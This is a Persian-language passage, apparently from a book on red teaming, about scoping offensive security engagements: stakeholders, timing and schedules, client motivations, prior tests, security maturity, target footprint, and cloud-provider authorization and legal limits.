<p>مزایای حضور کارمندان فنی و غیرفنی در تعیین محدوده و شکل دهی ارزیابی، محدود به کارمندان مشتری نیست. حضور پرسنل فنی که حداقل مقداری در حوزه امنیت تهاجمی تجربه دارند یا حتی حضور یک یا چند ارزیاب واقعی در هنگام بحث و گفتگو برای شکل دهی این ارزیابی‌ها، یک امر ضروری به نظر می‌رسد. اما همیشه شرایط این طور نیست به خصوص وقتی که تیم قرمز به صورت خدمات شخص ثالث ارایه می‌شود و نه درون سازمانی. گاهی اوقات پرسنل فروش یا توسعه کسب و کار مذاکرات قراردادهای امنیت تهاجمی را برعهده دارند و خیلی از مواقع این کار بدون حضور نمایندگان ارزیاب یا فنی انجام می‌شود که در چنین شرایطی دو مشکل مهم برای ارزیابی ایجاد می‌شود. اول اینکه، ممکن است ارزیابی محدوده مورد توافق با توجه به منابع در اختیار ارزیابان ممکن نباشد و احتمال ایجاد انتظارات غیرواقع گرایانه در مشتری وجود دارد. دوماً ممکن است محدوده مورد توافق، به نفع مشتری نباشد. انتخاب دقیق محدوده ارزیابی برای درک نیازهای واقعی مشتری ضروری است. ممکن است عدم حضور کارشناسان تیم قرمز در این گفتگوها باعث شود که انتخاب محدوده در نهایت به رفع نیازهای مشتری منجر نشود.</p>
<h3><a name="_Toc144125082"></a>پرسنل عملیاتی ارایه دهنده خدمات ارزیابی</h3>
<p>در هر دو حالت یعنی استفاده از خدمات تیم قرمز درون سازمانی یا برون سازمانی، باید بعضی از کارمندان عملیاتی سازمان ارایه دهنده این خدمات، در تعیین محدوده ارزیابی نقش داشته باشند. در یک تیم قرمز درون سازمانی، ممکن است ارزیابی زیرمجموعه‌ای از یک سازمان بزرگ برای پرسنل فنی هر دو گروه معقول به نظر برسد اما شاید هکرهای اخلاقی که این ارزیابی را انجام می‌دهند، درکی از نیازهای عملیاتی این سازمان بزرگ نداشته باشند. دریافت نظرات بخش مدیریتی یا عملیاتی در تعیین محدوده عملیات اهمیت زیادی دارد و اطمینان ایجاد می‌کند که زمانبندی اجرای این عملیات برای کل سازمان مناسب خواهد بود نه فقط یک گروه خاص از افراد. در محیط‌های تجاری که در آنها ارایه دهنده ارزیابی این کار را به عنوان خدمات انجام می‌دهد هم گرفتن بازخورد از کارمندان عملیاتی برای تعیین محدوده عملیات ضروری است. معمولاً چنین خدماتی در بازه‌های کوتاه‌تر انجام می‌شوند و ممکن است از منابع ارزیابی برای چندین مشتری استفاده شود. دریافت بازخوردهای بخش عملیاتی برای تعیین محدوده، مانع از ایجاد اختلال در کار با سایر مشتریان در اثر تعیین محدوده ارزیابی برای یک مشتری خاص می‌شود و از استفاده بیش از حد یا اتلاف منابع ارزیابان هم جلوگیری می‌کند.</p>
<h2><a name="_Toc144125083"></a>چه زمانی؟</h2>
<p>از بین دو ویژگی مهم برای تعیین محدوده یک ارزیابی، درک و تعیین &#8220;زمان&#8221; اجرای عملیات راحت‌تر است. این زمان مشخص کننده بازه‌های زمانی اجرای ارزیابی و در صورت نیاز، زمانبندی انجام آنها است. در سطح بالا، مدت ارزیابی همانطور که از نام آن مشخص است، تعیین کننده مدت زمانی است که در آن ارزیاب‌ها آنچه که به عنوان هدف انتخاب شده بوده را هک می‌کنند. نیازی نیست که بازه زمانی اجرای ارزیابی بسیار دقیق مشخص شود و دلیل این موضوع را در پاراگراف‌های پیش رو توضیح خواهم داد.</p>
<h3><a name="_Toc144125084"></a>پیشگیری از حادثه</h3>
<p>قرار است فعالیت تیم قرمز، عملکرد مهاجمان واقعی را تقلید کند بنابراین ممکن است کاربران آن را با یک حمله واقعی اشتباه بگیرند. برای به حداقل رساندن تلاش‌های بیهوده در واکنش به این فعالیت‌ها، باید بازه زمانی ارزیابی علاوه بر تاریخ‌های شروع و پایان فعالیت، شامل روزها و ساعاتی از هفته باشد که هکرهای اخلاقی در آنها فعال هستند. این &#8220;فعالیت‌ها&#8221; عبارتند از: حملاتی که انسان‌ها در آنها حضور و نقش دارند، گردآوری اطلاعات و عملکردهای خودکار ابزارهای تیم قرمز. اگر ابزاری توسط تیم قرمز نصب شده تا مثل یک بدافزار عمل کند و هر ساعت برای دریافت فرمان با یک سرور خارجی در ارتباط باشد، این ابزار باید طوری تنظیم شود که خارج از ساعات یا روزهای مشخص شده برای ارزیابی، با بیرون از سازمان ارتباط برقرار نکند. معمولاً ارزیاب‌ها این موضوع را نادیده می‌گیرند و تصور می‌کنند که اگر اسکن یا هدف گیری را برای آن روز متوقف کنند، زمانبندی تعیین شده برای ارزیابی را رعایت کرده‌اند.</p>
<p>در یک مورد، سازمان مورد ارزیابی چنین فعالیت‌های ارتباطی را مشاهده کرده و تصور کرده بود که نفوذی در سازمان صورت گرفته است. این سازمان با کارمندان بخش واکنش به حادثه، امنیت و مدیریت سطح بالا تماس گرفته و شروع به برنامه‌ریزی برای اعلام این حادثه و چگونگی مقابله با پیامدهای تجاری آن کرده بود &#8211; اما چند ساعت بعد با پیگیری‌هایی که اواخر شب انجام شد مشخص شد که یکی از ابزارهای تیم قرمز فعال و مشغول ارسال سیگنال برای برقراری ارتباط بوده است. آنچه باعث بدتر شدن این شرایط شد، این بود که این بدافزار توسط یک تیم قرمز آمریکایی در یک مرکز داده اروپایی نصب شده بود بنابراین، کارمندان اروپایی در یک روز کاری متوجه این موضوع شده بودند در حالی که اعضای تیم قرمز آمریکایی خواب بودند و امکان برقراری تماس با آنها وجود نداشت.</p>
<h3><a name="_Toc144125085"></a>برقراری تعادل بین ویژگی‌های مختلف در تعیین محدوده</h3>
<p>به غیر از مقابله با اتلاف منابع و ایجاد دردسر و زحمت، درک واضح زمان اجرای ارزیابی نقش مهمی در برآورده ساختن حداکثر میزان ممکن نیازهای مشتری دارد. ممکن است زمانبندی اجرای عملیات بر اساس آنچه که قرار است ارزیابی شود، تعیین شود. یعنی ممکن است مشتری اعلام کند که نیاز به ارزیابی یک مرکز داده خاص دارد و 8 هفته زمان ببرد که تیم این هدف را کاملاً ارزیابی کرده و گزارش این فرایند را منتشر کند بنابراین، برای این کار 8 هفته زمان در نظر گرفته می‌شود. متأسفانه، در اغلب مواقع شرایط این طور پیش نمی‌رود. معمولاً این طور است که سازمان مثلاً برای 4 هفته منابع لازم انجام این خدمات را در اختیار دارد و مایل است که همین مرکز داده ارزیابی شود. ممکن است اعلام شود که بودجه فقط برای چهار ماه خدمات وجود دارد یا اینکه به دلیل وجود برخی الزامات دیگر، برای اجرای این ارزیابی مرکز داده فقط چهار هفته به تیم قرمز فرصت داده می‌شود.</p>
<p>این یک نمونه از تناقض در دو جنبه &#8220;چه افرادی&#8221; و &#8220;چه زمانی&#8221; است اما شبیه به بسیاری از مسائل دشوار و پیچیده‌ای است که محدوده یک تعامل را تعیین می‌کنند. در چنین شرایطی که بازه زمانی اجرای ارزیابی در آن مهم است، ارزیاب‌ها باید بیشتر تلاش خودشان را برای اجرای یک ارزیابی مناسب از کل مرکز داده انجام دهند. با توجه به محدودیت زمانی، مهم است که &#8211; حین تعیین محدوده ارزیابی &#8211; همه کارمندان دخیل در این فرایند در رابطه با اولویت‌های ارزیابی با هم به توافق برسند و این موضوع را قبول کنند که بازه زمانی اجرای ارزیابی کاملاً ایده آل نیست و ممکن است بر یافته‌ها تأثیر منفی داشته باشد. اگر این کار انجام نشود، ممکن است سازمان مشتری انتظاراتی غیرواقع گرایانه داشته باشد و احتمال شکست خوردن تیم قرمز ایجاد شود.</p>
<h2><a name="_Toc144125086"></a>چه چیزی؟</h2>
<p>می‌توان گفت که مهم‌ترین جنبه از هر عملیات امنیت تهاجمی که بیشترین تأثیر را در تعیین محدوده دارد، نیازهای سازمان مشتری هستند. مشکل تأثیر نیازهای سازمانی بر آنچه قرار است ارزیابی شود یا نشود این است که بین نیازهای واقعی و نیازهای حس شده برای ارزیابی، تفاوتی جزئی وجود داد. این هم یکی دیگر از دلایل شرکت دادن همه پرسنل اشاره شده در فرایند تعیین محدوده است. گفتگوی سازنده بین مشتری فنی و غیرفنی و پرسنل ارایه دهنده خدمات باعث می‌شود که مناسب‌ترین محدوده برای ارزیابی انتخاب شود که حداکثر نیازهای سازمان را برآورده کند. سوالات مختلفی هم وجود دارند که سازمان مشتری باید به آنها پاسخ دهد تا مذاکرات تعیین محدوده منجر به ایجاد نتایجی شود که به خوبی بین نیازهای واقعی سازمان و منابع در اختیار آن توازن برقرار می‌کنند. یک تعیین محدوده خوب و ایده آل با توجه به نیازهای سازمان و توانایی برآورده کردن آنها، بیشترین بازگشت سرمایه را فراهم می‌کند. گرچه حین تعیین محدوده سوالات زیادی ایجاد می‌شود اما من همیشه برای شفاف سازی نیازهای مشتری، سوالات زیر را در نظر می‌گیرم:</p>
<ul>
<li>چرا مشتری درخواست اجرای چنین ارزیابی را مطرح کرده است؟</li>
<li>آیا مشتری قبل از این هم تست و ارزیابی انجام داده است؟</li>
<li>تجهیزات امنیتی این سازمان چقدر کامل و بالغ هستند؟</li>
</ul>
<h3><a name="_Toc144125087"></a>انگیزه ارزیابی</h3>
<p>انگیزه مطرح کردن درخواست اجرای چنین ارزیابی‌هایی توسط یک سازمان، به تعیین نیازهایی که باید حین ارزیابی برآورده شوند، کمک می‌کند. معمولاً دلیل درخواست اجرای یک عملیات امنیت تهاجمی، واکنش به یک رویداد برنامه‌ریزی شده، یک رویداد زمانبندی شده یا یک رویداد غیربرنامه‌ریزی شده است. اولین نوع &#8211; یعنی رویدادهای برنامه‌ریزی شده &#8211; تحت کنترل سازمان قرار دارند و معمولاً می‌توان آنها را متناسب با سایر نیازهای سازمانی و دسترس پذیری ارزیاب انجام داد. نوع دوم &#8211; رویدادهای زمانبندی شده &#8211; معمولاً خارج از کنترل سازمان درخواست دهنده هستند اما به اندازه‌ای منسجم و بانظم هستند که بتوان بر اساس آنها برنامه‌ریزی کرد. سومین نوع &#8211; رویدادهای غیربرنامه‌ریزی شده &#8211; خارج از کنترل سازمان درخواست دهنده هستند و می‌توانند هم برای مرحله تعیین محدوده و هم برای کل تعامل تیم قرمز چالش ایجاد کنند.</p>
<p>رویدادهای برنامه‌ریزی شده، آنهایی هستند که سازمان با یک هدف و دلیل مشخص آنها را اجرا کرده و نیاز به خدمات یک تیم قرمز دارند. ممکن است هدف این رویدادها صرفاً بهبود وضعیت امنیتی سازمان باشند. خیلی از مواقع، رویدادهای برنامه‌ریزی شده مربوط به یکی دیگر از پروژه‌هایی هستند که سازمان آنها را متقبل می‌شود مثل گسترش سطح حمله. ممکن است این سطح حمله جدید ناشی از اضافه شدن یک سایت جدید، یک ساختمان جدید یا یک زیرمجموعه از سازمان به کل سطح حمله باشد. هنگام رخ دادن چنین اتفاقاتی، خوب است که سازمان ریسک‌های ناشی از اضافه شدن این سطوح حمله جدید را در نظر بگیرد. به ویژه این موضوع برای سازمان‌های بزرگی که سازمان‌های کوچکتر را خریداری و اکتساب می‌کنند، صدق می‌کند. تیم قرمز می‌تواند بدون درگیر شدن در ایجاد سایت، ساختمان یا شبکه ابزار ارزشمندی در درک تأثیرات اضافه شدن یک موجودیت خارجی بر ریسک‌های سازمانی باشد.</p>
<p>همچنین، رویدادهای برنامه‌ریزی شده می‌توانند مربوط به ایجاد یک محصول یا خدمات جدید باشند و می‌توان فرایند تست را برای زیرمجموعه‌هایی از سازمان در حد چند سیستم محدود اجرا کرد که یک سرویس جدید را تشکیل می‌دهند یا حتی برای یک سرور اپلیکیشن خاص. در این شرایط، تشکیل تیم قرمز به سازمان امکان می‌دهد که محصول یا اپلیکیشن را پیش از فعال شدن آن برای استفاده‌های داخلی یا استفاده توسط مشتریان، ارزیابی کند.</p>
<p>رویدادهای زمانبندی شده آنهایی هستند که سازمان انتظار دارد یک قانونگذار بیرونی یا یک موجودیت داخلی آنها را اجرا کند. چنین رویدادهایی ناشی از مسائل مقرراتی، پیشگیرانه یا قانونی هستند که ممکن است یک سازمان با آنها روبرو شود. این رویدادها باعث ایجاد نیاز به اجرای ارزیابی‌های تیم قرمز با توجه به سیاست‌ها، رویه‌ها یا قوانینی می‌شوند که سازمان باید به آنها پایبند باشد. از جمله این رویدادها می‌توان به اطمینان از رعایت مقررات کار با داده‌های طبقه بندی شده، رویه‌های دسترسی به اطلاعات HIPAA یا اطلاعات مالی یا سیاست‌های شرکت‌های مجاز به همکاری با نهادهای دولتی یا ایالتی اشاره کرد. گرچه از نظر اجرای تعاملات تیم قرمز، این موضوع خارج از کنترل سازمان است اما معمولاً سیاست‌های مقرراتی وجود دارد که روش و میزان اجرای چنین ارزیابی‌هایی را مشخص می‌کند. وقتی به دلیل چنین رویدادهایی درخواست اجرای ارزیابی مطرح می‌شود، باید به این نکته توجه داشت که: تیم قرمز باید به سازمان کمک کند تا با حداکثر کارایی ممکن، الزامات و تعهدات خودش را برآورده کند. معمولاً در چنین رویدادهای برنامه‌ریزی شده‌ای، از دید مشتری اولویت برآورده کردن تعهدات قانونی بیشتر از ارتقای وضعیت امنیتی است.</p>
<p>رویدادهای برنامه‌ریزی نشده، آنهایی هستند که خارج از کنترل سازمان رخ داده و می‌توانند محیط سختی برای تعاملات تیم قرمز ایجاد کنند. رویدادهای برنامه‌ریزی نشده می‌توانند ناشی از یک ارزیابی غیر منتظره یا تغییرات سازمانی و شبکه‌ای باشند که از اموری مثل بلایای طبیعی ریشه می‌گیرند. دشوارترین نوع رویدادهای برنامه‌ریزی شده که منجر به درخواست اجرای تعاملات تیم قرمز می‌شوند، حملات واقعی هستند که یکی از این دو شرایط را ایجاد می‌کنند: در بیشتر مواقع، تیم قرمز بر اساس تشخیص نفوذ، مشخص شدن نتایج جرم شناسی و تکمیل تلاش‌های مقابله با آثار حمله وارد عمل می‌شود. در این شرایط، از تیم قرمز درخواست می‌شود که اثربخشی راهکارهای انتخابی سازمان را ارزیابی و تأیید کند. مشتری که در این شرایط درخواست ارزیابی را مطرح می‌کند، به دنبال رسیدن به حداقل یافته‌های ممکن از تیم قرمز است. در برخی موارد، این تعامل با تیم قرمز در راستای تلاش‌های بزرگتر برای تشخیص نحوه رخ دادن نفوذ انجام می‌شود و در این شرایط مشتری امیدوار است که تیم قرمز آسیب‌پذیری‌هایی را پیدا کند که دستگاه امنیتی قادر به پیدا کردن آنها نبوده و افراد مخرب با استفاده از آنها به دارایی‌های سازمان دسترسی و نفوذ پیدا کرده‌اند.</p>
<h3><a name="_Toc144125088"></a>تست قبلی</h3>
<p>اینکه آیا قبلاً یک تیم قرمز یا اجرا کننده تست نفوذ ارزیابی‌هایی را در سازمان انجام داده یا خیر، می‌تواند به شناسایی نیازهای مشتری کمک کند یا منجر به رسیدن به یک بن بست شود. اطلاعات به دست آمده از این پرسش به شدت وابسته به تمایل مشتری به ارایه اطلاعات مفید است. بهتر است به دنبال پاسخ سوالات جزئی‌تر و دقیق‌تر بود از جمله اینکه:</p>
<ul>
<li>این ارزیابی چه مدت قبل انجام شده است؟</li>
<li>ارزیابی توسط چه اشخاصی انجام شده است؟</li>
<li>گزارش ارزیابی حاوی چه نتایجی بوده است؟</li>
<li>آیا به مشکلات گزارش شده رسیدگی شده است؟</li>
</ul>
<p>چنین گزارش‌هایی به تیم قرمز برای تشخیص فواید و ارزش‌های احتمالی ارزیابی‌های قبلی صورت گرفته در زمینه امنیت تهاجمی کمک می‌کنند.</p>
<p>اگر ارزیابی سال‌ها پیش انجام شده باشد، ممکن است در بهترین حالت مکمل تلاش‌های فعلی باشد و نتوان آن را جایگزین فعالیت‌های بررسی اولیه یا ارزیابی کرد. اگر این اقدامات بسیار جدید بوده و تیم قرمز برای برآورده ساختن نیازهای ارزیابی سازمان محدودیت زمانی داشته باشد، شاید بهتر باشد که تیم قرمز متمرکز بر میزبان‌هایی شود که در ارزیابی قبلی یافته‌ای از آنها به دست نیامده تا در این فرصت محدود، حداکثر میزان ممکن از سطح حمله پوشش داده شود. به همین ترتیب، اگر وضعیت گزارش خوب بوده و شامل فعالیت‌های سرشماری شبکه<a href="#_ftn1" name="_ftnref1">[1]</a> و نتایج آن باشد و این ارزیابی در چند هفته یا چند ماه اخیر انجام شده باشد، اطلاعات به دست آمده از این ارزیابی‌ها می‌توانند برای تیم‌های بعدی مفید باشند.</p>
<p>برای رسیدن به یک قضاوت درست درباره قابلیت اطمینان یا مفید بودن اطلاعات ارزیابی‌های قبلی، باید با اجرا کنندگان این ارزیابی‌ها آشنا بود. برخی از شرکت‌ها نسبت به دیگران خدمات بهتری ارایه می‌دهند و همانطور که در فصل‌های قبل اشاره شد، بعضی از آنها خدمات اسکن آسیب‌پذیری را با عنوان تست نفوذ ارایه می‌دهند. قرار داشتن در جریان اینکه چه شرکت یا گروهی تست قبلی را اجرا کرده، به ارزیابان تیم قرمز کمک می‌کند تا کیفیت ارزیابی‌های قبلی را مشخص کنند. از دیدگاه غیرتجاری، این کار به تشخیص اینکه کدامیک از افراد سازمان، ارزیابی‌های قبلی را اجرا کرده‌اند هم کمک می‌کند. اگر به تازگی یک ارزیابی اجرا شده اما این کار پیش از تشکیل تیم قرمز درون سازمانی انجام شده باشد، ممکن است نبود کارشناسان امنیت تهاجمی ماهر، باعث کمتر شدن قابلیت اطمینان این نتایج شود.</p>
<p>اگر کارشناسان امنیت تهاجمی کار خودشان را باکیفیت لازم انجام دهند، گزارش تعاملات آنها متنوع‌تر خواهد بود. خیلی از هکرهای اخلاقی در زمینه گزارش دهی، خلاصه نویسی و مستندسازی مدارک عملکرد بسیار ضعیفی دارند بنابراین نمی‌توان به طور کامل از استعداد بالای آنها بهره مند شد. همچنین این عملکرد باعث می‌شود که حتی اگر تعاملات قبلی توسط یک تیم بسیار بااستعداد اجرا شده اما گزارش ارایه شده چندان آموزنده نباشد، اطلاعات به دست آمده از این تعامل برای تیم بعدی تقریباً بی‌فایده باشند. بعداً توضیح خواهم داد که تیم‌های قرمز چطو می‌توانند در ثبت مستندات عملیات و گزارش دهی، بهترین بهره را از استعدادهای خودشان ببرند.</p>
<p>اگر در تست قبلی مشکلاتی شناسایی شده، بهتر است در جریان باشید که سازمان این مشکلات را رفع کرده یا خیر. اگر مشکل رفع نشده باشد، این اطلاعات می‌توانند برای سرشماری‌های بعدی مفید باشند یا می‌توان با پیگیری‌های بعدی مطمئن شد که مشکل ناشناخته دیگری در سیستم‌های آسیب‌پذیر وجود نداشته باشد. اگر آسیب‌پذیری‌های شناخته شده رفع شده باشند، بررسی اینکه این مشکلات واقعاً رفع شده‌اند یا همچنان پابرجا هستند، راهکاری سریع و ارزشمند است. گاهی اوقات، به خصوص در رابطه با آسیب‌پذیری‌های ناشی از پیکربندی یا پیاده سازی ضعیف، ممکن است &#8211; حتی در صورت پیاده سازی یک راهکار &#8211; فقط علایم رفع شده باشد و نه ریشه اصلی مسئله و همچنان تهدید مشکل اصلی برای سازمان پابرجا باشد. دقت داشته باشید که حس امنیت کاذب می‌تواند بزرگترین خطر برای یک سازمان باشد.</p>
<h3><a name="_Toc144125089"></a>امنیت فعلی</h3>
<p>هنگام تعیین نیازهای ارزیابی که قرار است توسط تیم قرمز انجام شود، باید بیشتر اجزای دستگاه امنیتی فعلی سازمان را در نظر گرفت. پس از پرس و جو در رابطه با میزان بلوغ و تکامل امنیت سازمانی، معمولاً این سه پرسش را برای پیگیری مطرح می‌کنیم:</p>
<ul>
<li>آیا تیم امنیت سایبری، اسکن آسیب‌پذیری را پیاده سازی کرده است؟</li>
<li>آیا کارهای به روزرسانی و حفظ جامعیت سیستم انجام می‌شوند؟</li>
<li>چه قابلیت‌های نظارتی، واکنشی و جرم شناسی وجود دارند؟</li>
</ul>
<p>پاسخ این سوالات، به تیم قرمز امکان می‌دهد که ارزیابی را متناسب با شرایط سازمان انجام دهد تا امنیت سازمان به بیشترین میزان ممکن بهبود پیدا کند. گاهی اوقات ممکن است یک سازمان پاسخ خوب یا کاملی برای این پرسش‌ها نداشته باشد. در چنین مواقعی، تیم باید بدون اطلاع درباره این موضوعات اقدام کند.</p>
<p>اگر سازمان، اسکن آسیب‌پذیری را چه به صورت دستی و چه به صورت یک فرایند خودکار پیاده سازی نکرده باشد، این موضوع می‌تواند یکی از دغدغه‌های جدی تیم قرمز باشد. در این مرحله، تیم قرمز باید این اقدام را به عنوان بخشی از ارزیابی‌ها انجام داده و در یافته‌های ارزیابی، به نبود فرایند اسکن آسیب‌پذیری اشاره کند. به ویژه برای ارزیابی که در یک بازه زمانی کوتاه انجام می‌شود، پوشش یک اسکن آسیب‌پذیری برای همه سیستم‌هایی که در محدوده ارزیابی قرار دارند می‌تواند بسیار ارزشمندتر از بررسی عمیق چند سیستم خاص باشد. اگر در حال حاضر به روزرسانی و تلاش برای حفظ جامعیت سیستم‌ها انجام نمی‌شود، تیم قرمز باید این موضوع را هم در یافته‌های خودش گزارش دهد اما حداقل باید تمرکز اولیه تلاش‌های تیم قرمز، شناسایی آسیب‌پذیری‌های موجود در همه سیستم‌ها از یک نقطه خارجی باشد پیش از اینکه تیم سعی کند از راه دور کد اجرا کرده و به سیستم‌های مختلف سازمان نفوذ کند. اگر محیط پر از حفره باشد، بهتر است به سازمان برای تشخیص محل این حفره‌ها کمک کرد تا اینکه به آنها بگوییم احتمال وجود آسیب‌پذیری اجرای کد از را دور، در چند ماشین در اعماق شبکه سازمانی وجود دارد.</p>
<p>آخرین سوال در رابطه با وضعیت فعلی امنیت سازمان، تأثیر مستقیمی بر شیوه رفتار تیم قرمز در یک تعامل و نحوه تعیین محدوده آن دارد. یکی از مزایای مهم تیم‌های قرمز و هکرهای اخلاقی قابلیت آنها برای ارزیابی واکنش یک سازمان به حمله است. از جمله عملکرد قابلیت‌های نظارتی سازمان در تشخیص مهاجمان، تأثیر فناوری‌ها و رویه‌های امنیتی در واکنش سازمان به حملات تیم قرمز و شیوه پیگیری فعالیت‌های تیم قرمز توسط قابلیت‌های جرم شناسی. اگر سازمانی یک یا چند مورد از این قابلیت‌ها را در اختیار نداشته باشد، ممکن است پیاده سازی روش‌های به شدت مخفیانه و فعالیت‌های سرشماری محتاطانه روش مناسبی برای بهره برداری از زمان نباشد. خوب است هنگام اجرای عملیات سرشماری تیم قرمز مراقب و محتاط باشید تا مشخص شود که ابزارهای نظارتی قدرت تشخیص فعالیت‌ها را دارند یا خیر. اگر چنین ابزارهای نظارتی موجود نباشند، باید این موضوع را به عنوان یکی از یافته‌های تیم قرمز ثبت کرد اما تیم قرمز باید از این واقعیت برای تسریع عملیات سرشماری و تمرکز بر سایر مراحل فرایند ارزیابی استفاده کند. این موضوع برای شگردها و روش‌های مورد استفاده تیم قرمز هم صدق می‌کند. اگر هیچ قابلیتی برای جرم شناسی یا واکنش امنیتی به رویدادهای شناسایی شده وجود نداشته باشد، امتحان کردن چند روش برای استمرار حضور و استفاده از یک زیرساخت فرماندهی و کنترل متنوع می‌تواند باعث اتلاف وقت شود. زمانی که قابلیت‌های جرم شناسی و واکنش به حوادث امنیتی وجود داشته باشند، ارزیابی کارایی آنها اهمیت زیادی دارد اما وقتی چنین قابلیت‌هایی وجود ندارند، تیم قرمز باید این موضوع را به عنوان یک واقعیت ثبت کرده و از این واقعیت برای ارتقای بهره وری خودش در دوره ارزیابی استفاده کند.</p>
<h3><a name="_Toc144125090"></a>ردپای محدوده انتخابی</h3>
<p>زیرمجموعه‌ای از شبکه سازمان که به آن ردپا گفته می‌شود معمولاً توسط مشتری انتخاب می‌شود تا در عملیات تیم قرمز پوشش داده شود. همچنین باید توجه داشت که آیا فرصت در نظر گرفته شده برای ارزیابی، به اندازه‌ای هست که برای ردپای در نظر گرفته شده کافی باشد یا خیر. در این فصل به چند مورد از ردپاهایی که باید مورد ارزیابی قرار بگیرند اشاره شد از جمله سیستم‌های یا اپلیکیشن‌هایی خاص و یا کل سازمان. ممکن است ردپا بر اساس نیازها و پاسخ سوالاتی که پیش از این در مرحله تعیین محدوده مورد بررسی قرار گرفتند، انتخاب شود اما چند نکته دیگر هم برای انتخاب ردپای مناسب وجود دارد.</p>
<p>ممکن است هنگام انتخاب محدوده ارزیابی، مشتری اعلام کند که مایل است ارزیابی فقط روی اهدافی انجام شود که از طریق اینترنت به شدت قابل دید هستند. این روش می‌تواند دو مشکل ایجاد کند. ممکن است سازمان درک درستی از مفهوم &#8220;قابل دید از طریق اینترنت&#8221; نداشته باشد و با اینکه تصور می‌شود برخی از دارایی‌ها فقط از داخل شبکه سازمان در دسترس هستند، اما امکان دسترسی از طریق اینترنت به آنها وجود داشته باشد. این روش می‌تواند باعث شود که تیم قرمز به دنبال ارزیابی دارایی‌هایی باشد که مشتری تصور می‌کرده طبق مذاکرات، این دارایی‌ها خارج از محدوده ارزیابی در نظر گرفته شده‌اند. به همین دلیل باید هنگام تعیین محدوده، از بیان جملات ساده‌ای مثل اینکه فقط میزبان‌های خارجی هدف گرفته شوند، خودداری شود. در صورتی که مشتری خواستار هدف گیری میزبان‌های خاصی است، باید این میزبان‌ها به طور دقیق مشخص شوند. همچنین ممکن است مشتری انتظار داشته باشد که تیم قرمز به دستاوردهای خاصی برسد مثل ارزیابی قابلیت‌های نظارت و واکنش که انجام این کار با توجه به انبوه فعالیت‌هایی که میزبان‌ها در اینترنت انجام می‌دهند، می‌تواند سخت باشد. بعلاوه، باید از مشتری پرسید که آیا محدوده، شامل میزبان‌های داخلی می‌شود و اینکه آیا نفوذ به داخل سازمان از طریق میزبان‌های خارجی مجاز است یا خیر.</p>
<p>من با چند مشتری همکاری کردم که هر چند تمایل به ارزیابی کل سیستم امنیتی خودشان داشتند اما با نفوذ به داخل محیط از طریق میزبان‌هایی که زودتر مورد نفوذ قرار می‌گرفتند، مخالفت می‌کردند. به نظر من چنین رویکردی مضحک است چون بیشتر نفوذها از داخل و از طریق مهندسی اجتماعی یا تهدیدات داخلی انجام می‌شوند نه از طریق حملات اینترنتی. در هر صورت، درک ردپای محدوده مهم است و اینکه آیا مشتری امکان ارایه فهرستی کامل از میزبان‌های مورد نظرش را دارد یا خیر و نفوذ از طریق میزبان‌های اولیه مجاز است یا خیر. مجاز بودن نفوذ به سایر بخش‌های سازمان، ردپای محدوده را به طور چشمگیری افزایش می‌دهد و اندازه این ردپا می‌تواند برای اجرای ارزیابی در بازه زمانی تعیین شده همزمان با برآورده ساختن نیازها مشتری، مشکل ایجاد کند. یک تیم قرمز خوب باید آماده درک و در صورت لزوم تغییر ردپای به توافق رسیده با سازمان باشد. گاهی اوقات، لازم است این موضوع بیشتر از سایر عواملی که می‌توانند مانع موفقیت ارزیابی شوند، مورد توجه قرار بگیرد.</p>
<h3><a name="_Toc144125091"></a>محدودیت‌های برون سازمانی</h3>
<p>با اینکه ممکن است مشتری و ارایه دهنده خدمات با بیشترین توانایی‌های خودشان برای انتخاب یک محدوده مناسب به توافق برسند، عوامل بیرون از سازمان هم می‌توانند بر این محدوده تأثیر بگذارند. متداول‌ترین مسئله‌ای که مشاهده کرده‌ام، تأثیر ارایه دهندگان خدمات ابر بر هر گفتگویی برای تعیین محدوده ارزیابی است. اگر استفاده از محیط‌های ابر به درستی انجام شود، این فناوری می‌تواند برای عملیات و امنیت سازمانی مفید باشد. رشد این روند باعث می‌شود که روزبروز سازمان‌های بیشتری برخی از دارایی‌های عملیاتی خودشان را در محیط ابر مستقر کنند. در چنین مواردی، یکی از جنبه‌هایی که معمولاً نادیده گرفته می‌شود، نیاز به کسب مجوز و تأیید برای اجرای تست روی این دارایی‌ها است. در بسیاری از موارد، در توافقنامه‌های بین کاربران و مشاغل با ارایه دهندگان خدمات ابر، بندهایی وجود دارد که طبق آنها اجرای هر گونه ارزیابی روی این سیستم‌ها، مستلزم اطلاع رسانی و دریافت مجوز قبلی است. گاهی اوقات انجام این کار به شدت ممنوع است. با توجه به اینکه قبلاً اشاره شد که انجام فعالیت‌های امنیت تهاجمی بدون مجوز اقدامی غیرقانونی است، به این نکته دقت داشته باشید که ممکن است سازمان مشتری شما قبل از اجرای تست مجوزهای لازم را از ارایه دهنده خدمات ابر دریافت نکرده باشد.</p>
<p>علاوه بر مجوزهای بدیهی و خاص مورد نیاز جهت اجرای تست در سازمان‌هایی با محیط ترکیبی (که شامل دستگاه‌های فیزیکی و محیط ابر هستند)، محدودیت‌های دیگری هم وجود دارد که باید به آنها توجه داشت. اگر مشتری دارایی‌هایی در محیط ابر دارد، ارزیاب باید پرس و جو کند که آیا آدرس این دارایی‌ها ثابت است یا خیر. تنها در صورتی که این آدرس‌ها متعلق به مشتری باشند، امکان اجرای حملات تیم قرمز روی آنها وجود دارد. اگر حین اجرای یک تعامل، یکی از این آدرس‌های غیرثابت محیط ابر به یک مشتری دیگر منتقل شده و تیم قرمز از این موضوع آگاه نباشد، تیم در اصل در حال اجرای حملاتی غیرقانونی بر علیه یک سازمان ناشناس خواهد بود. اطلاعات به دست آمده در هنگام تعیین محدوده ارزیابی هم نباید متغیر باشند. اگر از یک سرویس میزبانی ابر استفاده می‌شود، تیم قرمز باید مطمئن شود که هر آنچه مشتری به عنوان اطلاعات قابل هدف گیری برای این دارایی‌های تحت ابر معرفی کرده، ثابت و قابل اطمینان هستند.</p>
<p>پس از سازمان‌های ترکیبی که از زیرساخت‌هایی مثل ابر به صورت خدمات استفاده می‌کنند، سازمان‌هایی هستند که توافقنامه‌هایی برای اتصالات و سایر شرایط مشابه دارند. منظور، شرایطی است که در آن یک سازمان به دلایل مختلف، یک اتصال منطقی یا فیزیکی با سازمانی دیگر دارد. قوانین این اتصالات معمولاً در اسناد حقوقی درج می‌شوند که طبق آنها اگر یکی از دو طرف در اثر غفلت یا بی‌مسئولیتی طرف مقابل قربانی یک حمله سایبری شود، طرف مقابل باید پاسخگو باشد. همچنین، در این اسناد مرز بین نقطه‌ای از این اتصالات که در آن یک سازمان به پایان رسیده و سازمان دیگر شروع می‌شود، مشخص می‌شود.</p>
